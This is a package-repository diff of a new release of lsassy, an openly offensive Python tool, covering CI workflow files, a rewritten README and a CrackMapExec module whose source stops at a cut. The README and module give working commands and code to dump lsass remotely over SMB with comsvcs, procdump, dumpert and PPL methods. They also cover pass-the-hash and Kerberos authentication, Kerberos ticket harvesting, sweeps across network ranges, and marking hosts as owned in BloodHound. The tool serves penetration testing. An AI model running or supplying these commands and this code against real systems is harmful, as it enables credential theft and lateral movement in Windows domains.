Codebase list python-lsassy / 325c97a
New upstream release. Kali Janitor 2 years ago
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.github/workflows/codeql-analysis.yml less more
0 # For most projects, this workflow file will not need changing; you simply need
1 # to commit it to your repository.
2 #
3 # You may wish to alter this file to override the set of languages analyzed,
4 # or to provide custom queries or build logic.
5 name: "CodeQL"
6
7 on:
8 push:
9 branches: [master]
10 pull_request:
11 # The branches below must be a subset of the branches above
12 branches: [master]
13 schedule:
14 - cron: '0 17 * * 4'
15
16 jobs:
17 analyze:
18 name: Analyze
19 runs-on: ubuntu-latest
20
21 strategy:
22 fail-fast: false
23 matrix:
24 # Override automatic language detection by changing the below list
25 # Supported options are ['csharp', 'cpp', 'go', 'java', 'javascript', 'python']
26 language: ['python']
27 # Learn more...
28 # https://docs.github.com/en/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#overriding-automatic-language-detection
29
30 steps:
31 - name: Checkout repository
32 uses: actions/checkout@v2
33 with:
34 # We must fetch at least the immediate parents so that if this is
35 # a pull request then we can checkout the head.
36 fetch-depth: 2
37
38 # If this run was triggered by a pull request event, then checkout
39 # the head of the pull request instead of the merge commit.
40 - run: git checkout HEAD^2
41 if: ${{ github.event_name == 'pull_request' }}
42
43 # Initializes the CodeQL tools for scanning.
44 - name: Initialize CodeQL
45 uses: github/codeql-action/init@v1
46 with:
47 languages: ${{ matrix.language }}
48 # If you wish to specify custom queries, you can do so here or in a config file.
49 # By default, queries listed here will override any specified in a config file.
50 # Prefix the list here with "+" to use these queries and those in the config file.
51 # queries: ./path/to/local/query, your-org/your-repo/queries@main
52
53 # Autobuild attempts to build any compiled languages (C/C++, C#, or Java).
54 # If this step fails, then you should remove it and run the build manually (see below)
55 - name: Autobuild
56 uses: github/codeql-action/autobuild@v1
57
58 # ℹī¸ Command-line programs to run using the OS shell.
59 # 📚 https://git.io/JvXDl
60
61 # ✏ī¸ If the Autobuild fails above, remove it and uncomment the following three lines
62 # and modify them (or add more) to build your code if your project
63 # uses a compiled language
64
65 #- run: |
66 # make bootstrap
67 # make release
68
69 - name: Perform CodeQL Analysis
70 uses: github/codeql-action/analyze@v1
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.github/workflows/release.yaml less more
0 name: Release
1 on:
2 release:
3 types: [published]
4 jobs:
5 release:
6 runs-on: ubuntu-latest
7 steps:
8 - uses: actions/checkout@v2
9 - uses: actions/setup-python@v1
10 with:
11 python-version: 3.7
12 architecture: x64
13 - run: pip install nox==2020.8.22
14 - run: pip install poetry==1.1.4
15 - run: nox
16 - run: poetry build
17 - run: poetry publish --username=__token__ --password=${{ secrets.PYPI_TOKEN }}⏎
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.github/workflows/test-pypi.yaml less more
0 name: TestPyPI
1 on:
2 push:
3 branches:
4 - master
5 jobs:
6 test_pypi:
7 runs-on: ubuntu-latest
8 steps:
9 - uses: actions/checkout@v2
10 - uses: actions/setup-python@v1
11 with:
12 python-version: 3.7
13 architecture: x64
14 - run: pip install poetry==1.1.4
15 - run: >-
16 poetry version patch &&
17 version=$(poetry version | awk '{print $2}') &&
18 poetry version $version.dev.$(date +%s)
19 - run: poetry build
20 - uses: pypa/[email protected]
21 with:
22 user: __token__
23 password: ${{ secrets.TEST_PYPI_TOKEN }}
24 repository_url: https://test.pypi.org/legacy/⏎
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.github/workflows/tests.yaml less more
0 name: Tests
1 on: push
2 jobs:
3 tests:
4 runs-on: ubuntu-latest
5 strategy:
6 matrix:
7 python-version: ['3.7', '3.9']
8 name: Python ${{ matrix.python-version }}
9 steps:
10 - uses: actions/checkout@v2
11 - uses: actions/setup-python@v1
12 with:
13 python-version: ${{ matrix.python-version }}
14 architecture: x64
15 - run: pip install nox==2020.8.22
16 - run: pip install poetry==1.1.4
17 - run: nox⏎
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.gitignore less more
11 __pycache__/
22 *.py[cod]
33 *$py.class
4
5 # Poetry
6 poetry.lock
47
58 # Distribution / packaging
69 .Python
3235 # IDE
3336 .idea
3437
35 # Tests
36 tests/tests_config.py
38 .coverage
39 .python-version
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.python-version less more
0 3.9.1
1 3.8.2
2 3.7.7
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Makefile less more
44 find . -name '*.pyc' -exec rm -f {} +
55 find . -name '*.pyo' -exec rm -f {} +
66 find . -name '*~' -exec rm -f {} +
7 find . -name '__pycache__' -exec rm -rf {} +
78
89 publish: clean
910 python3.7 setup.py sdist bdist_wheel
1213 testpublish: clean
1314 python3.7 setup.py sdist bdist_wheel
1415 python3.7 -m twine upload --repository-url https://test.pypi.org/legacy/ dist/*
16
17 package: clean
18 python setup.py install
19 pyinstaller ./lsassy/console.py --onefile --clean -n lsassy --additional-hooks-dir=hooks
1520
1621 rebuild: clean
1722 python3.7 setup.py install
2227 install: build
2328
2429 test:
25 python3.7 setup.py test
30 python3.7 setup.py test⏎
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README.md less more
00 # lsassy
11
2 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=2.1.2&x2=0)](https://pypi.org/project/lsassy/) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
3
4 ![Example](https://github.com/Hackndo/lsassy/raw/master/assets/example.png)
5
6 Python library to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works.
7
8 This library uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials.
2
3 [![PyPI version](https://d25lcipzij17d.cloudfront.net/badge.svg?id=py&type=6&v=3.0.0&x2=0)](https://pypi.org/project/lsassy/) [![Tests](https://github.com/hackndo/lsassy/workflows/Tests/badge.svg)](https://github.com/hackndo/lsassy/actions?workflow=Tests) [![Twitter](https://img.shields.io/twitter/follow/hackanddo?label=HackAndDo&style=social)](https://twitter.com/intent/follow?screen_name=hackanddo)
4
5 <a href="https://asciinema.org/a/441582?autoplay=1" target="_blank"><img src="https://asciinema.org/a/441582.svg" width="80%"></a>
6
7 Python tool to remotely extract credentials on a set of hosts. This [blog post](https://en.hackndo.com/remote-lsass-dump-passwords/) explains how it works.
8
9 This tool uses [impacket](https://github.com/SecureAuthCorp/impacket) project to remotely read necessary bytes in lsass dump and [pypykatz](https://github.com/skelsec/pypykatz) to extract credentials.
910
1011 | Chapters | Description |
1112 |----------------------------------------------|---------------------------------------------------------|
12 | [Requirements](#requirements) | Requirements to install lsassy from source |
13 | [Documentation](#documentation) | Lsassy documentation |
14 | [CrackMapExec Module](#crackmapexec-module) | Link to CrackMapExec module included in this repository |
15 | [Issues](#issues) | Read this before creating an issue |
13 | [Warning](#warning) | Before using this tool, read this |
14 | [Installation](#installation) | Lsassy installation |
15 | [Basic usage](#basic-usage) | Basic lsassy usage |
16 | [Advanced usage](#advanced-usage) | Advanced lsassy usage with params explaination |
17 | [Add dump method](#add-dump-method) | How to add a custom lsass dump method |
1618 | [Acknowledgments](#acknowledgments) | Kudos to these people and tools |
17 | [Contributors](#contributors) | People contributing to this tool |
18
19 ## Requirement
20
21 * Python >= 3.6
22
23 ## Documentation
24
25 The tool is fully documented in the project's [wiki](https://github.com/Hackndo/lsassy/wiki)
26
27 ### Installation
28
29 * [Installation](https://github.com/Hackndo/lsassy/wiki/Lsassy-Installation)
30
31 ### Standalone
32
33 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Basic-Usage)
34 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-Advanced-Usage)
35
36 ### Library
37
38 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Basic-Usage)
39 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/Lsassy-lib-Advanced-Usage)
40
41 ### CrackMapExec module
42
43 * [Installation](https://github.com/Hackndo/lsassy/wiki/CME-Installation)
44 * [Basic Usage](https://github.com/Hackndo/lsassy/wiki/CME-Basic-Usage)
45 * [Advanced Usage](https://github.com/Hackndo/lsassy/wiki/CME-Advanced-Usage)
46
47 ## CrackMapExec module
48
49 I wrote a CrackMapExec module that uses **lsassy** to extract credentials on compromised hosts
50
51 CrackMapExec module is in `cme` folder : [CME Module](https://github.com/Hackndo/lsassy/tree/master/cme)
52
53 ## Issues
54
55 If you find an issue with this tool (that's very plausible !), please
56
57 * Check that you're using the latest version
58 * Send as much details as possible.
59 - For standalone **lsassy**, please use maximum verbosity `-vv`
60 - For CME module, please use CrackMapExec `--verbose` flag
19 | [Official Discord](#official-discord-channel)| Official Discord channel |
20
21 ## Warning
22
23 Although I have made every effort to make the tool stable, traces may be left if errors occur.
24
25 This tool can either leave some lsass dumps if it failed to delete it (even though it tries hard to do so) or leave a scheduled task running if it fails to delete it. This shouldn't happen, but it might. Now, you know, use it with caution.
26
27 ## Installation
28
29 **lsassy** works with python >= 3.7
30
31 ### pip (Recommended)
32
33 ```bash
34 python3 -m pip install lsassy
35 ```
36
37 ### From source for development
38
39 ```
40 python3 setup.py install
41 ```
42
43 ## Basic Usage
44
45 **lsassy** works out of the box on multiple targets (IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets)
46
47 ```bash
48 lsassy [-d domain] -u user -p password targets
49 lsassy [-d domain] -u user -H [LM:]NT targets
50 ```
51
52 By default, lsassy will try to dump lsass remotely using `comsvcs.dll` method, either via WMI or via a remote scheduled task.
53
54 ### Kerberos
55
56 **lsassy** can authenticate with Kerberos. It requires a valid TGT in `KRB5CCNAME` environment variable. See [advanced usage](Lsassy-Advanced-Usage#kerberos) for more details.
57
58 ```bash
59 lsassy -k targets
60 ```
61
62
63 ### Examples
64
65 ```bash
66 lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24
67 lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-10
68 lsassy -d adsec.local -u pixis -p p4ssw0rd hosts.txt
69 lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.1-192.168.1.10
70 ```
71
72 ## Advanced Usage
73
74 Different lsass dumping methods are implemented in **lsassy**, and some option are provided to give control to the user on how the tool will proceed.
75
76 ### Internal working
77
78 **lsassy** is divided in modules
79
80 ```
81 +-----------+
82 | Writer |
83 +-----+-----+
84 |
85 |
86 +----------+ +-----+-----+ +---------+
87 | Parser |------| Core |----| Session |
88 +----------+ +-----+-----+ +---------+
89 |
90 |
91 +-----------+
92 | Dump |-+
93 | Methods | |-+ +----------+
94 +-----+-----+ | |----| File |
95 +-----------+ | +----------+
96 +------------+
97 |
98 |
99 +-----------+
100 | Exec |-+
101 | Methods | |-+
102 +-----+-----+ | |
103 +-----------+ |
104 +------------+
105 ```
106
107 #### Core module
108
109 This module is the orchestrator. It creates lsassy class with provided arguments and options, and then calls the different modules to retrieve credentials.
110
111 #### Logger module
112
113 This module is used for logging purpose.
114
115 #### File module
116
117 This is a layer built over Impacket to behave like a python built-in file object. It overrides methods like open, read, seek, or close.
118
119 #### Dumper module
120
121 This module is where all the dumping logic happens. Depending on the method used, it will execute code on remote host to dump lsass using provided method.
122
123 #### Parser module
124
125 This module relies on pypykatz and uses **lsassy** file module to remotely parse lsass dump
126
127 #### Writer module
128
129 This module handles the output part, either to the screen in different formats and/or write results to a file
130
131 ### Dumping methods
132
133 This tool can dump lsass in different ways.
134
135 Dumping methods (`-m` or `--method`)
136 * comsvcs
137 * comsvcs_stealth
138 * dllinject
139 * procdump
140 * procdump_embedded
141 * dumpert
142 * dumpertdll
143 * ppldump
144 * ppldump_embedded
145
146 #### comsvcs method
147
148 This method **only uses built-in Windows files** to extract remote credentials. It uses **minidump** function from **comsvcs.dll** to dump **lsass** process.
149
150 #### Procdump method
151
152 This method uploads **procdump.exe** from SysInternals to dump **lsass** process.
153
154 #### Dumpert method
155
156 This method uploads **dumpert.exe** from [outflanknl](https://github.com/outflanknl/Dumpert) to dump **lsass** process.
157
158 #### Dumpertdll method
159
160 This method uploads **dumpert.dll** from [outflanknl](https://github.com/outflanknl/Dumpert) to dump **lsass** process. It will be run via rundll32 utility.
161
162 #### Options
163
164 For some dumping method, options are required, like procdump or dumpert path. These options can be set using `--options` or `-O` with a comma separated list of options in a `key=value` way.
165
166 ```
167 ... --options key=value,foo=bar
168 ```
169
170 For example:
171
172 ```bash
173 lsassy -d adsec.local -u pixis -p h4cknd0 dc01.adsec.local -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
174 lsassy -d adsec.local -u pixis -p h4cknd0 dc01.adsec.local -m dumpert -O dumpert_path=/opt/dumpert.exe
175 lsassy -d adsec.local -u pixis -p h4cknd0 dc01.adsec.local -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
176 ```
177
178 #### Parse only
179
180 You can choose to parse an already dumped lsass process by providing `--parse-only` switch, alongside with `--dump-path` and `--dump-name` parameters.
181
182 Note that if you choose this method, the **remote lsass dump won't be deleted**.
183
184 For example:
185
186 ```bash
187 lsassy -d adsec.local -u pixis -p h4cknd0 dc01.adsec.local --parse-only --dump-path "/Windows/Temp" --dump-name "lsass.dmp"
188 ```
189
190 ### Kerberos tickets harvesting
191
192 You can extract in-memory Kerberos tickets by using `-K [directory]` or `--kerberos-dir [directory]` parameter. It will extract and save Kerberos tickets in `kirbi` format in the provided output directory. If this directory doesn't exist, the tool will attempt to create it before outputing tickets.
193
194 ```bash
195 lsassy -d adsec.local -u pixis -p h4cknd0 dc01.adsec.local -K '/tmp/kerberos_tickets'
196 ```
197
198 ### Authentication methods
199
200 There are three different ways to authenticate against remote targets using **lsassy**. The only requirement is that the user needs to have local administration rights on the remote targets.
201
202 #### Cleartext credentials
203
204 First and most obvious one is by using clear text credentials. It can either be a local or domain user.
205
206 ```bash
207 ## Local user
208 lsassy -u pixis -p p4ssw0rd server01.adsec.local
209
210 ## Domain user
211 lsassy -d adsec.local -u jsnow -p WinterIsComing server01.adsec.local
212 ```
213
214 #### Pass-the-hash
215
216 It is also possible to authenticate using user's NT hash. You can either provide LM:NT or only NT version.
217
218 ```bash
219 lsassy -d adsec.local -u jsnow -H 38046f6aa4f7283f9a6b7e1575452109 server01.adsec.local
220 aad3b435b51404eeaad3b435b51404ee
221
222 ## Or
223
224 lsassy -d adsec.local -u jsnow -H aad3b435b51404eeaad3b435b51404ee:38046f6aa4f7283f9a6b7e1575452109 server01.adsec.local
225 ```
226
227 #### Kerberos
228
229 You can also authenticate using Kerberos. For this to work, you will need to have a valid ticket saved on disk, and ticket's path needs to be provided in `KRB5CCNAME` environment variable. For testing purpose, this can be achieved using impacket **getTGT.py** tool.
230
231 ```bash
232 getTGT.py adsec.local/jsnow:WinterIsComing -dc-ip dc01.adsec.local
233 ```
234
235 This command will request a TGT and save it in `jsnow.ccache` file.
236
237 In order for **lsassy** to know which ticket to use, you'll need to explicitly set the ticket's path in `KRB5CCNAME` environment variable.
238
239 ```bash
240 export KRB5CCNAME="/home/pixis/jsnow.ccache"
241 ```
242
243 When it's correctly configured, you should be able to use that ticket for authentication using `-k` parameter. Since you're using this ticket, you don't need to provide other authentication information anymore.
244
245 ```bash
246 lsassy -k server01.adsec.local
247 ```
248
249 Note that for this to work, you will need a valid DNS configuration, either dynamic with a valid DNS server, or static using `hosts` file. Moreover, you should always use FQDN when generating tickets and using **lsassy**, i.e. use `server01.adsec.local` instead of `server01`.
250
251 ### Output
252
253 #### Screen format
254
255 **lsassy** can output credentials in different formats using `--format` or `-f` flag
256
257 ##### Pretty
258
259 Default format, nice and clean credentials are displayed with golden colors. In credz we trust.
260
261 ```
262 lsassy [-d domain] -u user -p password --format pretty targets
263 ```
264
265 ##### Json
266
267 Displays result in json format. Can be useful when called from a script
268 ```
269 lsassy [-d domain] -u user -p password --format json targets
270 ```
271
272 ##### Grep
273
274 Grepable output that can be useful in one-liners
275
276 ```
277 lsassy [-d domain] -u user -p password --format grep targets
278 ```
279
280 ##### None
281
282 Doesn't display the result. Useful when using `--outfile`
283 ```
284 lsassy [-d domain] -u user -p password targets --format none
285 ```
286
287 #### Save in a file
288
289 Saves the result in a grepable format in provided file (`--outfile` or `-o`)
290 ```
291 lsassy [-d domain] -u user -p password targets --format json --outfile /tmp/credentials.txt
292 ```
293
294 #### Results filtering
295
296 If you want to only get users credentials, filtering out computers credentials, you can use `--users` flag
297 ```
298 lsassy [-d domain] -u user -p password targets --users
299 ```
300
301 #### Thread management
302
303 You can decide how many thread you want to use \[1-256\] using `--threads` parameter.
304
305 ```
306 lsassy [-d domain] -u user -p password targets --threads 32
307 ```
308
309
310 ## Add dump method
311
312 There is a **dummy.py** file in **dumpmethod** directory. This file contains basic structure to create a new dump method functionnality.
313
314 ### get_commands
315
316 This method is mandatory as it is the method that will be used to execute code on the remote host in order to dump lsass in some way. It **must** return a dictionnary with two items **cmd** and **pwsh**.
317
318 **cmd** command is a command understood by **cmd.exe** utility
319 **pwsh** command is a command understood by powershell (most of the time, **cmd** command is also valid in powershell)
320
321 ```python
322 return {
323 "cmd": cmd_command,
324 "pwsh": pwsh_command
325 }
326 ```
327
328 ### (Optionnal) prepare
329
330 This method will be called **before** executing commands provided by **get_commands**. It can be used to upload files or check stuff
331
332 ### (Optionnal) clean
333
334 This method will be called **after** executing commands provided by **get_commands**. It can be used to delete uploaded files or clean stuff.
335
336 ### Example
337
338 Here is procdump example with some comments
339
340 ```python
341 import logging
342 import os
343 import time
344
345 from lsassy.dumpmethod.idumpmethod import IDumpMethod
346
347
348 class DumpMethod(IDumpMethod):
349
350 """
351 If your dumping method cannot produce a dumpfile with a custom dumpfile name, you must set this setting to False
352 and uncomment 'dump_name' to provide expected dumpfile name on remote system.
353 """
354 custom_dump_name_support = True # Default: True
355 # dump_name = "" # Default: Random dumpfile name
356
357 """
358 If your dumping method cannot produce a dumpfile in a custom directory, you must set this setting to False
359 and uncomment 'dump_share' and 'dump_path' to provide expected dumpfile location on remote system.
360 """
361 custom_dump_path_support = True # Default: True
362 # dump_share = "" # Default: "C$"
363 # dump_path = "" # Default: "\\Windows\\Temp\\"
364
365 def __init__(self, session):
366 """
367 __init__ is overloaded to create some instance variables
368 """
369 super().__init__(session)
370 self.procdump = "procdump.exe"
371 self.procdump_path = False
372 self.procdump_remote_share = "C$"
373 self.procdump_remote_path = "\\Windows\\Temp\\"
374
375 self.procdump_uploaded = False
376
377 def prepare(self, options):
378 """
379 Prepare method is overloaded so that we are able to
380 - check if mandatory parameters are provided
381 - upload procdump on the remote host.
382 """
383 self.procdump = options.get("procdump", self.procdump)
384 self.procdump_path = options.get("procdump_path", self.procdump_path)
385 self.procdump_remote_share = options.get("procdump_remote_share", self.procdump_remote_share)
386 self.procdump_remote_path = options.get("procdump_remote_path", self.procdump_remote_path)
387
388 if not self.procdump_path:
389 logging.error("Missing procdump_path")
390 return None
391
392 if not os.path.exists(self.procdump_path):
393 logging.error("{} does not exist.".format(self.procdump_path))
394 return None
395
396 # Upload procdump
397 logging.debug('Copy {} to {}'.format(self.procdump_path, self.procdump_remote_path))
398 with open(self.procdump_path, 'rb') as p:
399 try:
400 self._session.smb_session.putFile(self.procdump_remote_share, self.procdump_remote_path + self.procdump, p.read)
401 logging.success("Procdump successfully uploaded")
402 self.procdump_uploaded = True
403 return True
404 except Exception as e:
405 logging.error("Procdump upload error", exc_info=True)
406 return None
407
408 def clean(self):
409 """
410 Clean method is overloaded so that we are able to delete procdump if it was uploaded
411 """
412 if self.procdump_uploaded:
413 t = time.time()
414 while True:
415 try:
416 self._session.smb_session.deleteFile(self.procdump_remote_share, self.procdump_remote_path + self.procdump)
417 logging.debug("Procdump successfully deleted")
418 return True
419 except Exception as e:
420
421 if time.time() - t > 5:
422 logging.warning("Procdump deletion error.")
423 return False
424 logging.debug("Procdump deletion error. Retrying...")
425 time.sleep(0.2)
426
427 def get_commands(self, dump_path=None, dump_name=None, no_powershell=False):
428 """
429 get_commands method is overloaded as it is mandatory.
430 Two different ways of dumping lsass with cmd.exe and powershell are provided and returned.
431 """
432 cmd_command = """for /f "tokens=2 delims= " %J in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do {}{} -accepteula -o -ma %J {}{}""".format(
433 self.procdump_remote_path, self.procdump,
434 self.dump_path, self.dump_name
435 )
436 pwsh_command = """{}{} -accepteula -o -ma (Get-Process lsass).Id {}{}""".format(
437 self.procdump_remote_path, self.procdump,
438 self.dump_path, self.dump_name
439 )
440 return {
441 "cmd": cmd_command,
442 "pwsh": pwsh_command
443 }
444
445 ```
446
447 You can check dummy class for more comments and/or informations.
448
449
61450
62451 ## Changelog
63452
64453 ```
454 v3.0.0
455 ------
456 * Complete rewrite of the tool
457 * Way more modular
458 * Easy way to add new dump method, exec method, output formats
459 * Add new dump methods
460 * dumpertdll
461 * comsvcs_stealth
462 * procdump_embedded
463 * dllinject (advanced)
464 * ppldump
465 * ppldump_embedded
466 * wer
467 * Add execution methods
468 * SMB service creation
469 * SMB service modification
470 * MMC
471 * Add "parse-only" feature to parse remote existing dump
472 * Rewrote multithread logic
473 * Random dump extension by default
474
65475 v2.1.0
66476 ------
67477 * Kerberos authentication support (Thank you laxa for PR)
114524
115525 ## Acknowledgments
116526
527 ![image](https://user-images.githubusercontent.com/11051803/127148091-6b52f38a-de64-4114-b1ef-465e65deacfb.png)
528
529 * [Kodoque](https://github.com/Kodoque1) for lsassy name
117530 * [Impacket](https://github.com/SecureAuthCorp/impacket)
118531 * [SkelSec](http://twitter.com/skelsec) for Pypykatz, but also for his patience and help
119532 * [mpgn](https://twitter.com/mpgn_x64) for his help and ideas
120533
121 ## Contributors
122
123 * [ITPPA](https://github.com/ITPPA/)
124 * [viaccoz](https://github.com/viaccoz)
125 * [blurbdust](https://github.com/blurbdust)
126 * [exploide](https://github.com/exploide)
127 * [Laxa](https://github.com/Laxa)
534 ## Official Discord Channel
535
536 [![Porchetta Industries](https://discordapp.com/api/guilds/736724457258745996/widget.png?style=banner3)](https://discord.gg/sEkn3aa)
537
538 ## Known bugs
539
540 * Compiled versions don't include table_output because of some weird error with rich library⏎
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cme/README.md less more
0 # lsassy CrackMapExec Module
1
2 ![CrackMapExec >= 4.0.1](https://img.shields.io/badge/CrackMapExec-%3E=4.0.1-red)
3
4 This CME module uses **lsassy** to remotely extract lsass password, and optionally interacts with Bloodhound to **set compromised hosts as owned** and check if compromised users have a **path to domain admin**.
5
6 ![CME Module example](https://github.com/Hackndo/lsassy/raw/master/assets/example_cme.png)
7
8 ## Requirements
9
10 * Python2.7
11 - [CrackMapExec](https://github.com/byt3bl33d3r/CrackMapExec)
12 * Python3.6+
13 - [lsassy](https://github.com/Hackndo/lsassy/)
14
15
16 ## Installation
17
18 * Install **lsassy**
19
20 ### Python2
21
22 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py)
23 * Copy `lsassy.py` in `[CrackMapExec Path]/cme/modules`
24 * Reinstall CrackMapExec using python2.7 `python setup.py install`
25
26 ```bash
27 python3 -m pip install lsassy
28 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy.py
29 cp lsassy.py /opt/CrackMapExec/cme/modules/
30 cd /opt/CrackMapExec
31 python2.7 setup.py install
32 ```
33
34 ### Python3
35
36 * Download [lsassy CrackMapExec module](https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py)
37 * Copy `lsassy3.py` in `[CrackMapExec Path]/cme/modules`
38 * Reinstall CrackMapExec using python3 `python setup.py install`
39
40 ```bash
41 python3 -m pip install lsassy
42 wget https://raw.githubusercontent.com/Hackndo/lsassy/master/cme/lsassy3.py
43 cp lsassy3.py /opt/CrackMapExec/cme/modules/
44 cd /opt/CrackMapExec
45 python3 setup.py install
46 ```
47
48 ## Usage
49
50 ### Basic
51
52 ```bash
53 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy
54 ```
55
56 ### Advanced
57
58 By default, this module uses `rundll32.exe` with `comsvcs.dll` DLL to dump lsass process on the remote host, with method **1** of lsassy.
59
60 If you want to specify the dumping method, use the `METHOD` option (`lsassy -h` for more details)
61
62 ```bash
63 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=3
64 ```
65
66 If you're using a method that requires procdump, you can specify procdump location with `PROCDUMP_PATH` option.
67
68 ```bash
69 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o METHOD=2 PROCDUMP_PATH=/opt/Sysinternals/procdump.exe
70 ```
71
72 By default, lsass dump name is randomly generated. If you want to specify a dump name, you can use `REMOTE_LSASS_DUMP` option.
73
74 ```bash
75 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o REMOTE_LSASS_DUMP=LSASSY_DUMP.dmp
76 ```
77
78 ### BloodHound
79
80 You can set BloodHound integration using `-o BLOODHOUND=True` flag. This flag enables different checks :
81 * Set "owned" on BloodHound computer nodes that are compromised
82 * Detect compromised users that have a **path to domain admin**
83
84 ```bash
85 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy -o BLOODHOUND=True
86 ```
87
88 You can check available options using
89
90 ```
91 cme smb 10.10.0.0/24 -d adsec.local -u jsnow -p Winter_is_coming_\! -M lsassy --options
92 [*] lsassy module options:
93
94 METHOD Method to use to dump procdump with lsassy. See lsassy -h for more details
95 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
96 PROCDUMP_PATH Path to procdump on attacker host. If this is not set, "rundll32" method is used
97 BLOODHOUND Enable Bloodhound integration (default: false)
98 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
99 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
100 NEO4JUSER Username for Neo4j database (default: 'neo4j')
101 NEO4JPASS Password for Neo4j database (default: 'neo4j')
102 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
103
104 ```
105
106 ## Issue
107
108 If you find an issue with this tool (that's very plausible !), please
109
110 * Check that you're using the latest version
111 * Send as much details as possible.
112 - For standalone **lsassy**, please use the `-d` debug flag
113 - For CME module, please use CrackMapExec `--verbose` flag
114
115 Have fun
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cme/lsassy.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10
11 class CMEModule:
12 name = 'lsassy'
13 description = "Dump lsass and parse the result remotely with lsassy"
14 supported_protocols = ['smb']
15 opsec_safe = True
16 multiple_hosts = True
17
18 def options(self, context, module_options):
19 """
20 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
21 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
22 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
23 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
24 BLOODHOUND Enable Bloodhound integration (default: false)
25 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
26 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
27 NEO4JUSER Username for Neo4j database (default: 'neo4j')
28 NEO4JPASS Password for Neo4j database (default: 'neo4j')
29 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
30 """
31
32 self.method = False
33 self.remote_lsass_dump = False
34 self.procdump_path = False
35 self.dumpert_path = False
36
37 if 'METHOD' in module_options:
38 self.method = module_options['METHOD']
39
40 if 'REMOTE_LSASS_DUMP' in module_options:
41 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
42
43 if 'PROCDUMP_PATH' in module_options:
44 self.procdump_path = module_options['PROCDUMP_PATH']
45
46 if 'DUMPERT_PATH' in module_options:
47 self.dumpert_path = module_options['DUMPERT_PATH']
48
49 self.bloodhound = False
50 self.neo4j_URI = "127.0.0.1"
51 self.neo4j_Port = "7687"
52 self.neo4j_user = "neo4j"
53 self.neo4j_pass = "neo4j"
54 self.without_edges = ""
55
56 if module_options and 'BLOODHOUND' in module_options:
57 self.bloodhound = module_options['BLOODHOUND']
58 if module_options and 'NEO4JURI' in module_options:
59 self.neo4j_URI = module_options['NEO4JURI']
60 if module_options and 'NEO4JPORT' in module_options:
61 self.neo4j_Port = module_options['NEO4JPORT']
62 if module_options and 'NEO4JUSER' in module_options:
63 self.neo4j_user = module_options['NEO4JUSER']
64 if module_options and 'NEO4JPASS' in module_options:
65 self.neo4j_pass = module_options['NEO4JPASS']
66 if module_options and 'WITHOUT_EDGES' in module_options:
67 self.without_edges = module_options['WITHOUT_EDGES']
68
69 def on_admin_login(self, context, connection):
70 if self.bloodhound:
71 self.set_as_owned(context, connection)
72
73 """
74 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
75 imported. For this reason, connection information must be sent to lsassy
76 so it can create a new connection.
77
78 When CME is py3.6 compatible, CME connection object will be reused.
79 """
80 domain_name = connection.domain
81 username = connection.username
82 password = getattr(connection, "password", "")
83 lmhash = getattr(connection, "lmhash", "")
84 nthash = getattr(connection, "nthash", "")
85
86 password = "" if password is None else password
87 lmhash = "" if lmhash is None else lmhash
88 nthash = "" if nthash is None else nthash
89
90 host = connection.host
91
92 command = r"lsassy --format json -d '{}' -u '{}' -p '{}' -H '{}:{}' {}".format(
93 domain_name, username, password, lmhash, nthash, host
94 )
95
96 if context.verbose:
97 command += " -vv "
98
99 if self.method:
100 command += " --method {}".format(self.method)
101
102 if self.remote_lsass_dump:
103 command += " --dumpname {}".format(self.remote_lsass_dump)
104
105 if self.procdump_path:
106 command += " --procdump {}".format(self.procdump_path)
107
108 if self.dumpert_path:
109 command += " --dumpert {}".format(self.dumpert_path)
110
111 # Parsing lsass dump remotely
112 context.log.info('Parsing lsass with lsassy')
113 context.log.debug('Lsassy command : {}'.format(command))
114 code, out, err = self.run(command)
115
116 context.log.debug('----- lsassy output -----')
117 for line in out.split("\n"):
